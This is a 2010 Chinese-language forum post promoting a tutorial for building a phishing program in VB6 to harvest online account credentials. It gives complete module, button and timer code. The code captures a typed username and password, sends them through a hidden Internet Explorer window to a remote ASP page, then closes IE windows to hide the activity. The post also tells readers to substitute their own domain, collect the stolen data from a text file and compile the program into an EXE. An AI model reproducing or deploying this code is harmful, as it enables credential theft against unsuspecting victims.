《晨乐教大家获取各种网络账号》_电脑百科

ZxID：11358745

举报只看楼主使用道具楼主发表于: 2010-03-22 0

晨乐唯一Qq号码130802301

近期发现有傻×盗版我，晨乐的歌曲也将在近期来送给他们，

1群已满，2群78284963 加了1群不要加2群，谢谢各位了

一直是各位对晨乐的支持，才有今天的动力！

--------------------------------------------------------------

◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇
▲◥用VB打造钓鱼程序获取各种网络账号◤▲
---------------------------------------
◆晨乐★语音教程◆
唯一Qq号码 130802301

◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇

上教程了，往下翻会看到代码和需要工具

点击在新窗播放

貌似忘记告诉大家如何来成成出EXE文件了，大家做完之后点VB的文件 - 生成exe 就可以了。
记得要改我代码里的域名。
获取的信息的地址是http://你的域名/test.txt

编程软件：VB 6.0
钓鱼文件：test.asp（下载地址http://QQ:130802301.ys168.com）
免费空间\域名：5944.net5944.net
思维敏捷的头脑
FTP上传软件：FlashFXP
代码如下：

模块代码：
Option Explicit

Public Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Const WM_CLOSE = &H10
Public Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
Declare Function EnumWindows Lib "user32" (ByVal lpEnumFunc As Long, ByVal lParam As Long) As Boolean
Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Public Function KILLIE(ByVal hwnd As Long, ByVal lParam As Long) As Boolean
Dim classname As String
Dim str5 As String
Dim len5 As Long, i As Long
str5 = String(255, 0)
len5 = 256
GetClassName hwnd, str5, 256
classname = Left(str5, InStr(1, str5, Chr(0)) - 1)
Debug.Print classname
If classname = "IEFrame" Then
PostMessage hwnd, WM_CLOSE, 0&, 0&
End If
KILLIE = True
End Function

按钮代码：
Dim a As String
Dim b As String
a = Text1.Text
b = Text2.Text
Shell "C:\Program Files\Internet Explorer\iexplore.exe http://10518.99rr.net/test.asp?name=" + a + "&pass=" + b, vbHide
Timer1.Enabled = True

时钟代码：
EnumWindows AddressOf KILLIE, 0&
Timer1.Enabled = False